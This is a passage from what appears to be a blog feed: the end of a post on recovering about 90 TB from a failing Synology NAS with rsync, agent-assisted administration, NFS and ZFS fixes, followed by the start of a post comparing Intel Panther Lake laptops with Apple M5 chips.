<li>Drive 8 had been logging media errors <strong>for over a month</strong>. A media error is when the NAS tells the drive to read a sector and the drive answers that it couldn&rsquo;t, even after several retries. It&rsquo;s always an internal drive failure, and the drive should have been replaced.</li>
<li>It was drive 8&rsquo;s poor health that took it down during the rebuild of drive 1.</li>
<li>In practice I lost two drives, and the pool should have crashed completely. It didn&rsquo;t because of how SHR works.</li>
</ul>
<p>SHR isn&rsquo;t a single RAID-5. To use drives of different sizes without wasting space, it slices the drives and builds several smaller RAIDs, one per size band, and joins everything into one volume. The engineer sent this example diagram:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-shr-particoes.png" alt="Synology support diagram showing how SHR splits drives of different sizes into partitions 1, 2 and 3"  loading="lazy" /></p>
<p>In my case, the pool is made of two partitions. In the first, the rebuild of drive 1 was far enough along and the failure of drive 8 was mild enough that both kept working. In the second, both are missing. That&rsquo;s why the pool didn&rsquo;t crash entirely and I can still see the files.</p>
<p>His recommendation was the one I was already following: copy everything out before anything else, because there&rsquo;s no telling whether the situation gets worse or whether it&rsquo;s fixable. After the backup he can even try forcing drive 8 back into the pool so the rebuild continues, but there&rsquo;s no guarantee the drive will go back in, or that it will survive the process. In his words, copying and recreating the pool from scratch is probably the quickest way forward.</p>
<p>Classic RAID-5, by the way, requires all drives to be the same size, and to grow capacity I&rsquo;d have to replace all of them at once. SHR is what let me swap one at a time over the years. Ironically, it&rsquo;s also what saved me from losing everything at once.</p>
<h2>The two mistakes<span class="hx:absolute hx:-mt-20" id="the-two-mistakes"></span>
    <a href="#the-two-mistakes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The way I understood it, there are two mistakes, one mine and one theirs, and that&rsquo;s where the whole disaster lives.</p>
<p><strong>Mine:</strong> I underestimated RAID-6, which on Synology is called SHR-2. With two parity drives, drive 8 failing in the middle of the rebuild would have been just a scare. I traded safety for 20 TB of space and spent five years thinking I&rsquo;d made a good deal.</p>
<p><strong>Theirs:</strong> from the logs, the software knew drive 8 had been failing for at least a month, and I never got a single notification. I have email notifications configured. And they work: when the critical situation blew up, I got a flood of emails. This one, about drive 8&rsquo;s bad sectors, arrived at one in the afternoon on Monday, five hours after the disaster:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-email-bad-sectors.png" alt="Synology email warning that the number of bad sectors increased on drive 8, a Seagate ST22000NT001"  loading="lazy" /></p>
<p>Before that, nothing. No warning about drive 8 until it failed catastrophically.</p>
<p>If I had received one, I would never have tried to swap drive 1 before replacing drive 8. The whole situation was avoidable, and it was the result of a human mistake plus some software bug.</p>
<p>That&rsquo;s the other reason I didn&rsquo;t buy another Synology. I have a principle: if the horse throws me, I put the horse down. I can&rsquo;t trust it again.</p>
<h2>Where I am now<span class="hx:absolute hx:-mt-20" id="where-i-am-now"></span>
    <a href="#where-i-am-now" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>So far I&rsquo;ve copied about 20 TB of the original 90 TB, and HBS 3 keeps working. I still don&rsquo;t know whether I lost any data permanently. I hope not, but the most likely outcome is that I lost what was in the RAID slice the engineer described as crashed.</p>
<p>I have offsite backup on AWS Glacier of what matters most, but not of everything.</p>
<p>A lot of people ask why I don&rsquo;t use S3 or some other cloud storage for everything. I return the question: think for ten seconds. How long does it take to transfer 90 TB over your internet connection? Do the math:</p>
<ul>
<li>With a solid 1 gigabit of upload, never dropping for a second: more than 8 days.</li>
<li>With 500 megabits: almost 17 days.</li>
<li>With 100 megabits, which is good upload for many homes: 83 days.</li>
</ul>
<p>And that&rsquo;s to upload. When disaster hits you need to download it all back, with the clock running. Not counting the rent: 90 TB on standard S3 costs about US$ 2 thousand a month at list price. Cloud is great for the critical subset, which is how I use it. For the whole archive, physics and the invoice won&rsquo;t allow it.</p>
<h2>Lessons<span class="hx:absolute hx:-mt-20" id="lessons"></span>
    <a href="#lessons" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I was put in an impossible situation on a Monday morning, I acted right away as best I could, and I&rsquo;ll probably come out of this mostly unscathed. We&rsquo;ll see, HBS 3 is still syncing. What I take from it:</p>
<ol>
<li><strong>Single parity isn&rsquo;t enough for big drives.</strong> With 20 TB drives, a rebuild takes days and reads everything. That&rsquo;s the window in which the second drive tends to show up. RAID-6, SHR-2 or RAIDZ2.</li>
<li><strong>Don&rsquo;t rely only on the vendor&rsquo;s notifications.</strong> Look at SMART and the drive logs before starting any swap. I didn&rsquo;t, because I trusted I&rsquo;d be warned.</li>
<li><strong>Replace the sick drive first, then the small one.</strong> A capacity upgrade on an array with a suspect drive is roulette.</li>
<li><strong>Leave slack.</strong> I was swapping drives because the volume was at the ceiling. An 85% alert exists for that.</li>
<li><strong>Have somewhere to copy to.</strong> My way out cost R$ 185 thousand because I had no plan B. A second NAS, even a modest one, with what matters, would have bought me time to shop calmly.</li>
<li><strong>RAID is not backup.</strong> I know that, I teach that, and I still only had offsite for part of it.</li>
</ol>
<p>The copy is done and I already know the size of the damage: zero. The full recovery comes next.</p>
<h2>Six days later: the end of the story<span class="hx:absolute hx:-mt-20" id="six-days-later-the-end-of-the-story"></span>
    <a href="#six-days-later-the-end-of-the-story" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>When I published the first part, I had about 20 TB copied and no certainty. The outcome: I finished evacuating the ~91 TB, verified file by file, and lost nothing by accident. Not even what was on the fallen RAID slice, because it stayed readable until the end.</p>
<p>Who operated the recovery were my two agents. The desktop agent controls my PC and both NASes over SSH, and the homelab agent takes care of the server where my 57 containers run. The two coordinate by message: one leaves a report in the other&rsquo;s inbox, and I follow the conversation.</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-ai-memory-agentes.png" alt="The desktop agent’s terminal checking the ai-memory message inbox, where the homelab agent leaves its reports"  loading="lazy" />)</p>
<p>This part matters because nothing that follows was me typing commands. I made the decisions; they executed, measured and screwed up badly a few times, as you&rsquo;ll see.</p>
<h3>HBS 3 was quietly betraying me<span class="hx:absolute hx:-mt-20" id="hbs-3-was-quietly-betraying-me"></span>
    <a href="#hbs-3-was-quietly-betraying-me" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In the first part I told how HBS 3, pulling the Synology shares over CIFS, reached 400 MB/s after the adjustments. What I didn&rsquo;t know: speed was the smallest of its problems.</p>
<p>Two defects showed up when the agent checked the source inventory against what HBS reported:</p>
<ul>
<li><strong>It didn&rsquo;t go where it had no permission, and told nobody.</strong> HBS mounts the Synology as my user. The <code>Bitcoin/data</code> directory, 901 GB with my node&rsquo;s wallet and chainstate, belongs to uid 101 and is closed to anyone else. CIFS couldn&rsquo;t get in there, and HBS reported success without recording the omission. A &ldquo;green&rdquo; backup that leaves the entire Bitcoin node behind.</li>
<li><strong>It skipped files with &ldquo;unsupported&rdquo; names.</strong> 113 files, recorded only on a detail screen nobody opens during a days-long copy.</li>
</ul>
<blockquote>
  <p>A backup tool that reports success while omitting what it couldn&rsquo;t read is worse than one that fails screaming. Verify the backup against an independent inventory of the source, never against the tool&rsquo;s own log.</p>

</blockquote>
<p>We abandoned HBS. The agent opened SSH on both NASes, enabled the rsync server on the QNAP, and the Synology started pushing straight to its rsyncd, with nothing going through the PC. Each job&rsquo;s wrapper: <code>rsync -a --numeric-ids -W --partial --timeout=600</code>, attempts with retry, and <strong>never <code>--delete</code></strong>. The <code>--numeric-ids</code> preserved the original uids with no chown afterwards, <code>--partial</code> turned any interruption into a continuation, and the absence of <code>--delete</code> made the destination always a superset: re-sharding or killing a job never cost data.</p>
<h3>The bottleneck wasn&rsquo;t the broken drive<span class="hx:absolute hx:-mt-20" id="the-bottleneck-wasnt-the-broken-drive"></span>
    <a href="#the-bottleneck-wasnt-the-broken-drive" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Some context was missing from the first part. This Synology was born with eight consumer-line Seagate IronWolfs, and over the years I had been swapping them one by one for 20 TB IronWolf Pros. The disaster happened exactly during one of those upgrades: I swapped drive 1 for the new Pro and, during the rebuild, drive 8 failed. One single old drive was left in the array: drive 2.</p>
<p>And it, not drive 8, was the evacuation bottleneck. Measured under load:</p>
<ul>
<li>Drive 2 (the old consumer one, with 37 thousand hours of use): 91% utilization, delivering 27 MB/s, each I/O taking 4 to 15 times longer than its siblings.</li>
<li>The six Pros: between 34% and 45% utilization, sitting idle waiting for it.</li>
</ul>
<p>In RAID-5 (and in SHR), a sequential read spans the whole stripe, and the stripe only completes when the slowest member answers. One slow drive caps the whole array: because of it, the array couldn&rsquo;t go past about 200 MB/s while six good drives had room to spare. And its SMART was clean, zero reallocated sectors. Consumer drives usually ship without time-limited error recovery (ERC/TLER) active, so the drive retries a marginal sector for seconds, internally, without accounting for anything. The Synology&rsquo;s NVMe cache diverted part of the reads from the platters and helped mask the symptom.</p>
<blockquote>
  <p>The drive that fails and the drive that slows you down don&rsquo;t have to be the same, and SMART &ldquo;PASSED&rdquo; says nothing about latency. A slow array is diagnosed with per-drive utilization and response time, not with SMART.</p>

</blockquote>
<h3>Parallelizing rsync is science, not guesswork<span class="hx:absolute hx:-mt-20" id="parallelizing-rsync-is-science-not-guesswork"></span>
    <a href="#parallelizing-rsync-is-science-not-guesswork" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>First instinct: more streams. Wrong, twice.</p>
<p>The first time, a bug of ours: a &ldquo;clean&rdquo; job relaunch didn&rsquo;t kill anything, because the Synology&rsquo;s busybox <code>ps</code> truncates the command line and the verification grep didn&rsquo;t find the old processes. Result: 32 rsyncs running into 7 destinations, four to five writers per tree, the QNAP with its receive buffers clogged, and the cable transmitting 516 MB/s while the array read 140. After the cleanup (enumerating <code>/proc/*/cmdline</code>, never trusting <code>ps</code> again), useful throughput <strong>rose</strong> from 140 to 181 MB/s while total load collapsed.</p>
<p>The second time, measurement inverted common sense: with large-file trees, fewer streams were faster, because the average size of each read request tripled and the array did long sequential runs instead of jumping around.</p>
<p>But small-file trees are another sport. <code>TERACHAD/Emulators</code> has 21 TB in 3.4 million files averaging 6 MB: latency-bound work (stat, creation, metadata), not bandwidth-bound. And there aggressive parallelization worked, with one detail: the right shard is chosen by <strong>file count</strong>, not by size. A single directory, <code>ROMS_FINAL/xbox-hdd-ready</code>, held 995 thousand of ROMS_FINAL&rsquo;s 1.59 million files, averaging 1.7 MB per file. Isolating it from the multi-gigabyte ISOs:</p>
<table>
  <thead>
      <tr>
          <th>Configuration</th>
          <th style="text-align: right">GB/hour</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>single stream, 6-hour average</td>
          <td style="text-align: right">~157</td>
      </tr>
      <tr>
          <td>two shards</td>
          <td style="text-align: right">272</td>
      </tr>
      <tr>
          <td><strong>three shards</strong></td>
          <td style="text-align: right"><strong>436 to 501</strong></td>
      </tr>
  </tbody>
</table>
<p>Between 2.8 and 3.2 times the single stream&rsquo;s average throughput, on the same machine, on the same network. And there&rsquo;s a beautiful reason: with the array missing a member, reads of data that doesn&rsquo;t live on drive 2 don&rsquo;t need it, so the extra concurrency let the other drives work while it choked.</p>
<blockquote>
  <p>&ldquo;More parallelism&rdquo; and &ldquo;less parallelism&rdquo; are both wrong answers as a general rule. Bandwidth-bound work splits little; latency-bound work splits a lot, and by file count. Measure before choosing.</p>

</blockquote>
<h3>Copying is half the work; proving is the other half<span class="hx:absolute hx:-mt-20" id="copying-is-half-the-work-proving-is-the-other-half"></span>
    <a href="#copying-is-half-the-work-proving-is-the-other-half" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Every job that finished went through a dry-run of the same rsync, with the same excludes: zero files needing transfer means an identical destination by size and date. And even so it almost went wrong, because <strong>the verification inherited the copy&rsquo;s excludes</strong>: a tree excluded from the transfer stayed excluded from its own proof. Re-running the check without excludes turned up 952 files and 191 GB missing in Downloads (exactly the batches I had set aside as &ldquo;only existing copy&rdquo;) and the old restic repositories, which a similar directory name on the QNAP pretended to cover: the repositories&rsquo; internal ID proved they were different ones, not copies.</p>
<p>There was source drift too: a tree verified as complete received 16 GB of new checkpoints on the Synology after the check, and only the final re-verification caught it. Verification has an expiration date.</p>
<p>And a conscious decision, recorded so nobody accuses me of hiding it: the old backup histories (about 2 TB of restic snapshots and a duplicity set from 2025) were left behind by my choice, because the new repositories on the QNAP already cover the same content from now on. Deliberate loss of history, not of data.</p>
<p>Closing the books: <strong>17 rsync jobs, all exit 0, all verified, about 5.9 million byte-identical files</strong>, and the Synology shutdown only happened after every tree was proven.</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-homelab-containers-status.png" alt="Recovery status table mid-process: the containers already released and the ones still held waiting for each tree’s rsync verification"  loading="lazy" />)</p>
<h3>Meanwhile, in the homelab<span class="hx:absolute hx:-mt-20" id="meanwhile-in-the-homelab"></span>
    <a href="#meanwhile-in-the-homelab" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>On the other side of the house, the marvin server, which mounts the NAS over NFS and runs the 57 containers, almost died standing up. Dead NAS plus &ldquo;hard&rdquo; NFS mounts plus 57 containers restarting on their own made an infinite queue of uninterruptible I/O: the machine answered ping, but sshd couldn&rsquo;t complete a handshake. And every insistent SSH attempt only made it worse, because OpenSSH punishes a repetitive source by extending the ban. We knocked on the door and the door added a lock.</p>
<p>The way out was to stop knocking: I paused the torrents through the qBittorrent API (which kept responding), went to the physical console, disabled Docker, rebooted, and the server came back. A watchdog I didn&rsquo;t even remember existed had, on its own, taken down the 14 NAS-dependent containers before any database corrupted: bitcoind&rsquo;s LevelDB opened clean on the first try.</p>
<p>The migration itself was elegant: fstab pointed at the QNAP and the old mount points became symlinks into the new one. <strong>No docker-compose changed.</strong> Then came the QNAP NFS gotcha: permission is per client. The desktop was allowed without squash, but marvin&rsquo;s writes came in as uid 1001, blocking everything that writes to the NAS. The first fix attempt still flipped the mount to read-only in the middle of the first restic backup, which survived on retries. Final configuration: read and write, no squash for anyone, tested with <code>touch</code> and <code>ls -ln</code> from each client, because &ldquo;it worked on the desktop&rdquo; proves nothing about the server.</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-qnap-configurando-nfs.png" alt="QNAP NFS permissions screen, with the per-host rule for the homelab server"  loading="lazy" />)</p>
<p>After that it was resurrection tree by tree: each service only came up when its tree was verified on the QNAP. In two days, 57 of 57 containers back, and a brand-new restic backup running daily to the QNAP.</p>
<h3>The new kernel took down the NVMe<span class="hx:absolute hx:-mt-20" id="the-new-kernel-took-down-the-nvme"></span>
    <a href="#the-new-kernel-took-down-the-nvme" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In the middle of the recovery, a free scare from the server. Seven minutes after the nightly backup started, the NVMe controller vanished silently: every binary took SIGBUS, Docker and sshd died, and nothing remained recorded anywhere, because the log lives on the device that died. Not even a kernel panic: just silence.</p>
<p>The same workload had run fine hours earlier on kernel 7.2.6 and died on 7.2.9. Disabling APST (the NVMe&rsquo;s power management) didn&rsquo;t fix it: a second identical crash, a 7.2.9 regression confirmed by elimination. MicroOS is transactional and snapshot-based, so the rollback was a reboot into the 7.2.6 lineage, not a reinstall. Automatic updates were deliberately left broken on that lineage so nobody goes back to 7.2.9 unsupervised, and testing 7.2.8 waits until I can sit next to it.</p>
<blockquote>
  <p>A transactional operating system turns a kernel regression into a reboot. Without system snapshots, that night would have cost a lot more.</p>

</blockquote>
<h3>The thick provisioning scare<span class="hx:absolute hx:-mt-20" id="the-thick-provisioning-scare"></span>
    <a href="#the-thick-provisioning-scare" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>On the QNAP, the whole copy ran with no snapshots at all: in a bulk migration, snapshots are dead weight. With the copy done, I went to enable the ZFS snapshot schedule and got a dry error: &ldquo;pool free space is not enough&rdquo;. With 20 TB free.</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-qnap-thick-thin-erro-snapshot.png" alt="QNAP error when trying to create a snapshot: insufficient pool free space, even with terabytes free"  loading="lazy" />)</p>
<p>Both statements were true about different things. The CHAD folder had been created as <strong>thick</strong>: out of the 100 TB quota, ZFS reserves the full 100 TB, and to snapshot a dataset with a reservation, the pool has to guarantee space to overwrite every referenced block while the snapshot pins the old copies. The math: 80 TB written plus 100 TB reserved, against 126 TB usable in the pool. It doesn&rsquo;t close. And <code>df</code> lies on both sides, because it measures the folder against the quota, not against the pool.</p>
<p>The fix was converting the folder to <strong>thin</strong>, which QuTS hero does in-place, hidden on the folder&rsquo;s Management screen, not in the edit dialog where &ldquo;Thick&rdquo; looks like static text. In thin, the number becomes a ceiling instead of a reservation: the 10 TB reservation evaporated, the pool ended up with 39 TB free, and the first snapshot came out consuming 334 KB over 79.9 TB referenced. ZFS needed almost nothing; the reservation was what demanded a 100 TB guarantee to authorize.</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-qnap-chad-properties.png" alt="CHAD folder properties after the conversion, now as thin"  loading="lazy" />)</p>
<p>Now the QNAP has a snapshot schedule with a retention policy, as it should have had since day one:</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-qnap-snapshot-schedule.png" alt="CHAD folder snapshot schedule on the QNAP"  loading="lazy" />)</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-qnap-snapshot-retention.png" alt="Snapshot retention policy: how many to keep per day, week and month"  loading="lazy" />)</p>
<p>Two footnotes for anyone building one of these. If your thin folder has an 80% alert, raise the quota for aesthetic slack, because the alert measures against the quota and not against the pool. And this QNAP&rsquo;s real bottleneck is RAM: 7 GB for a 174 TB pool. QuTS hero&rsquo;s official minimum is 8 GB, and sensible practice at this scale is 16 and up. The size of the ARC cache governs metadata speed, and that&rsquo;s why the whole-tree sweeps during the migration were slow. A RAM upgrade is worth more than any fine-tuning.</p>
<h3>The Synology is born again<span class="hx:absolute hx:-mt-20" id="the-synology-is-born-again"></span>
    <a href="#the-synology-is-born-again" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>With everything verified on the QNAP, the Synology could finally be operated on. I swapped drives 2 and 8 for new IronWolf Pros, deleted the wounded pool and recreated it from scratch, this time in <strong>SHR-2</strong>, the two-parity-drive mode, their RAID-6. The new pool came out with 100 TB, all drives healthy:</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-synology-pool-novo-saudavel.png" alt="Synology Storage Manager showing the new SYNOCHAD pool in SHR with two-drive tolerance, 100 TB and all drives Healthy"  loading="lazy" />)</p>
<p>It goes back to work as a replica target, and no longer as a single point of failure. The QNAP stays as primary, in RAIDZ2, with 87 TB of the 126 TB used and snapshots scheduled:</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-qnap-storage-manager-final.png" alt="QNAP Storage Manager with the RAID 6 Ready pool and the CHAD folder in thin with 79.9 TB of 95 TB"  loading="lazy" />)</p>
<h3>What I take from the second half<span class="hx:absolute hx:-mt-20" id="what-i-take-from-the-second-half"></span>
    <a href="#what-i-take-from-the-second-half" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><ol>
<li><strong>Distrust silent success.</strong> HBS reported green while leaving 901 GB behind. A backup is verified against a source inventory.</li>
<li><strong>SMART doesn&rsquo;t measure slowness.</strong> The drive that nearly killed the evacuation was &ldquo;healthy.&rdquo; Per-drive utilization and latency tell the truth.</li>
<li><strong>Parallelism is calibrated by measuring.</strong> Bandwidth-bound splits little, latency-bound splits a lot, and the shard is chosen by file count.</li>
<li><strong>Verification doesn&rsquo;t inherit excludes.</strong> If the proof uses the same filters as the copy, it only reaffirms the copy&rsquo;s assumptions. And verify again immediately before destroying the source.</li>
<li><strong>NFS permission is per client.</strong> Test writes from every machine that will use it.</li>
<li><strong>Don&rsquo;t hammer a dying sshd.</strong> Each attempt extends the ban. One patient attempt, or the physical console.</li>
<li><strong>The dangerous repair comes last.</strong> The array stayed degraded and slow until the last byte was proven somewhere else; only then did rebuilding stop costing anything.</li>
</ol>
<p>I came out of this better protected than I went in: two NASes, each with its own RAID-6, scheduled snapshots on the QNAP, daily restic, and Glacier for what&rsquo;s critical. The disaster cost me a QNAP, two drives and a week. It could have cost 90 TB.</p>
]]></content:encoded><category>storage-and-backup</category><category>homelab</category><category>hardware</category></item><item><title>Intel's Comeback: ARM64 vs X86-64 Is Not What You Think</title><link>https://akitaonrails.github.io/en/2026/08/11/intels-comeback-arm64-vs-x86-64-is-not-what-you-think/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/08/11/intels-comeback-arm64-vs-x86-64-is-not-what-you-think/</guid><pubDate>Tue, 11 Aug 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;Since January, when the first Panther Lake laptops hit store shelves, reviews keep repeating a sentence that would have sounded absurd five years ago: an Intel x86 chip going toe to toe with the Apple M5. Not in everything — I&amp;rsquo;ll get to the caveats — but in the category that matters most day to day, battery life, the game has flipped. And that gives me the perfect excuse to write about a belief I see programmers repeat without checking: that true efficiency only comes with ARM64, because x86 is old, heavy, and full of 1978 baggage.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Since January, when the first Panther Lake laptops hit store shelves, reviews keep repeating a sentence that would have sounded absurd five years ago: an Intel x86 chip going toe to toe with the Apple M5. Not in everything — I&rsquo;ll get to the caveats — but in the category that matters most day to day, battery life, the game has flipped. And that gives me the perfect excuse to write about a belief I see programmers repeat without checking: that true efficiency only comes with ARM64, because x86 is old, heavy, and full of 1978 baggage.</p>
<p>My thesis: that was true generations ago, when decoding x86 cost a relevant slice of the die. Today x86 is, in practice, a translation layer into micro-instructions — and what separates Apple, Qualcomm, and Intel was never the instruction set. Intel&rsquo;s crisis was managerial and manufacturing, not architectural. Which is exactly why its comeback, now, makes sense.</p>
<h2>What the reviews show<span class="hx:absolute hx:-mt-20" id="what-the-reviews-show"></span>
    <a href="#what-the-reviews-show" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The Panther Lake laptops (Core Ultra series 3, launched at CES on January 5 and on sale since January 27) deliver numbers the Meteor/Arrow Lake era couldn&rsquo;t dream of. Starting with battery — Dell XPS 14 2026 (Core Ultra X7 358H) versus MacBook Air 15 (M5):</p>
<table>
  <thead>
      <tr>
          <th>Battery test</th>
          <th>Dell XPS 14 (Panther Lake)</th>
          <th>MacBook Air 15 (M5)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Web browsing (<a href="https://www.notebookcheck.net/43-hours-battery-life-Dell-XPS-14-2026-lasts-almost-3x-longer-vs-MacBook-Air-15-M5-in-web-browsing-test.1262947.0.html"target="_blank" rel="noopener">Hardware Canucks</a>, VRR on)</td>
          <td><strong>43 hours</strong></td>
          <td>14h30</td>
      </tr>
      <tr>
          <td>Web browsing (<a href="https://www.notebookcheck.net/Dell-XPS-14-2026-with-Intel-Panther-Lake-delivers-55-longer-battery-life-vs-2025-Dell-14-Premium.1225329.0.html"target="_blank" rel="noopener">Notebookcheck</a>, different methodology)</td>
          <td>16h45 (+55% vs 2025 model)</td>
          <td>17h12</td>
      </tr>
      <tr>
          <td>4K YouTube</td>
          <td><strong>20h21</strong></td>
          <td>14h</td>
      </tr>
      <tr>
          <td>Heavy load (gaming)</td>
          <td>2h30</td>
          <td><strong>4h10</strong></td>
      </tr>
  </tbody>
</table>
<p>The honest reading: in light use, the Dell ties or wins; under sustained load, Apple remains unbeatable. And DHH posted that his XPS 14 running Omarchy Linux gets over 16 hours of real use, with a 1.4W idle draw — Dell made a point of <a href="https://www.dell.com/en-us/blog/year-of-the-linux-laptop-omarchy-on-xps/"target="_blank" rel="noopener">day-one Linux support</a>.</p>
<p>On CPU, the flagship Core Ultra X9 388H against the M5 (<a href="https://www.notebookcheck.net/Intel-Panther-Lake-Core-Ultra-X9-388H-performance-analysis-Outpaces-Arrow-Lake-and-exceeds-Zen-5-in-efficiency.1212583.0.html"target="_blank" rel="noopener">Notebookcheck data</a>):</p>
<table>
  <thead>
      <tr>
          <th>Metric</th>
          <th>Core Ultra X9 388H</th>
          <th>Apple M5</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Cinebench 2024 multi-core</td>
          <td>~1,162</td>
          <td>~1,172 (<strong>statistical tie</strong>)</td>
      </tr>
      <tr>
          <td>Cinebench 2024 single-core</td>
          <td>~130</td>
          <td><strong>200</strong> (~30% ahead)</td>
      </tr>
      <tr>
          <td>Single-core efficiency</td>
          <td>5.17 pts/watt</td>
          <td><strong>13.1 pts/watt</strong></td>
      </tr>
      <tr>
          <td>Multi-core efficiency capped at 20W</td>
          <td>24.6 pts/watt</td>
          <td>24.8 (M4)</td>
      </tr>
  </tbody>
</table>
<p>Single-core remains Apple&rsquo;s territory — it does the same work <strong>on a third of the energy</strong>. But in moderate multi-core, Intel caught up. Against AMD (Ryzen AI 9 465) the 388H wins across the board; against the first-gen Snapdragon X Elite too; the X2 Elite Extreme, which arrived in 2026, already handed the Windows CPU crown back to Qualcomm (+24% in single-core). Honesty above all.</p>
<p>On GPU, the verdict is more mixed than Intel&rsquo;s marketing suggests:</p>
<table>
  <thead>
      <tr>
          <th>Arc B390 matchup</th>
          <th>Result</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>vs Radeon 890M (AMD)</td>
          <td><a href="https://videocardz.com/newz/intel-arc-b390-beats-amds-mainstream-igpus-and-nears-rtx-4050-level-performance-in-some-tests"target="_blank" rel="noopener">+63 to 80%</a></td>
      </tr>
      <tr>
          <td>vs laptop RTX 4050</td>
          <td>dead heat</td>
      </tr>
      <tr>
          <td>vs Strix Halo (AMD) at 15-20W</td>
          <td><a href="https://www.notebookcheck.net/No-chance-for-AMD-Intel-Panther-Lake-Core-Ultra-X9-388H-trounces-AMD-Strix-Halo-at-low-power-signaling-handheld-gaming-domination-in-2026.1213244.0.html"target="_blank" rel="noopener">wins</a></td>
      </tr>
      <tr>
          <td>vs base M5 GPU</td>
          <td>wins on performance, loses on fps/watt</td>
      </tr>
      <tr>
          <td>vs M5 Pro / M5 Max</td>
          <td><a href="https://nanoreview.net/en/gpu-compare/intel-arc-b390-vs-apple-m5-max-gpu-40-core"target="_blank" rel="noopener">17 against 24 and 44</a> — no chance</td>
      </tr>
  </tbody>
</table>
<p><a href="https://arstechnica.com/gadgets/2026/02/intel-panther-lake-core-ultra-review-intels-best-laptop-cpu-in-a-very-long-time/"target="_blank" rel="noopener">Ars Technica&rsquo;s</a> summary is the fairest: &ldquo;Intel&rsquo;s best laptop CPU in a very long time&rdquo; — with the caveat that Intel must prove this is the new normal, not an aberration.</p>
<blockquote>
  <p><strong>Remember this:</strong> MacBook battery life in an x86 laptop happened — in light use. In single-core and under heavy load, Apple still sets the pace.</p>

</blockquote>
<h2>The belief: &ldquo;to be efficient you have to be ARM&rdquo;<span class="hx:absolute hx:-mt-20" id="the-belief-to-be-efficient-you-have-to-be-arm"></span>
    <a href="#the-belief-to-be-efficient-you-have-to-be-arm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Every programmer has heard the explanation: ARM has a simple, fixed-length, elegant instruction set. x86 is a chimera accumulated since 1978, with variable-length instructions, real mode, segmentation, decades of mess. &ldquo;Therefore&rdquo; ARM is inherently more efficient, and the way for anyone to reach Apple- or Qualcomm-class efficiency is to move to ARM64.</p>
<p>There&rsquo;s truth in there: x86 does carry historical baggage, and decoding variable-length instructions is objectively more annoying than decoding fixed 32-bit ones. The error is in the conclusion. That difference mattered when decode logic occupied a significant fraction of the chip. That was a long time ago.</p>
<blockquote>
  <p><strong>Remember this:</strong> the ISA difference mattered when decoding occupied a relevant fraction of the die. That ended generations ago.</p>

</blockquote>
<h2>x86 became a translation layer in 1995<span class="hx:absolute hx:-mt-20" id="x86-became-a-translation-layer-in-1995"></span>
    <a href="#x86-became-a-translation-layer-in-1995" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The Pentium Pro, from November 1995, already didn&rsquo;t execute x86 directly: it translated each CISC instruction into internal RISC-like micro-operations and executed those. AMD did the same with the K5 in 1996 (its &ldquo;ROPs&rdquo;). In other words: for <strong>thirty years</strong>, &ldquo;executing x86&rdquo; has meant &ldquo;translate it into something else and execute the something else.&rdquo; x86 is a compatibility interface, a translation layer over a RISC engine. And the numbers show how cheap that layer became:</p>
<table>
  <thead>
      <tr>
          <th>Measurement</th>
          <th>Result</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Micro-ops per x86 instruction (Pentium Pro, Intel data)</td>
          <td>1.2 to 1.7</td>
      </tr>
      <tr>
          <td>Micro-op cache hit rate (since Sandy Bridge, 2011)</td>
          <td>~80% overall, ~100% in hot loops</td>
      </tr>
      <tr>
          <td>Decoder cost on Haswell (<a href="https://research.aalto.fi/en/publications/empirical-study-of-the-power-consumption-of-the-x86-64-instructio/"target="_blank" rel="noopener">Hirki et al., 2016</a>)</td>
          <td>3 to 10% of package power, worst case</td>
      </tr>
      <tr>
          <td>Cost of disabling the micro-op cache (<a href="https://chipsandcheese.com/p/how-zen-2s-op-cache-affects-performance"target="_blank" rel="noopener">Zen 2, Chips and Cheese</a>)</td>
          <td>+4 to 10% in the core, +0.5 to 6% at the package</td>
      </tr>
  </tbody>
</table>
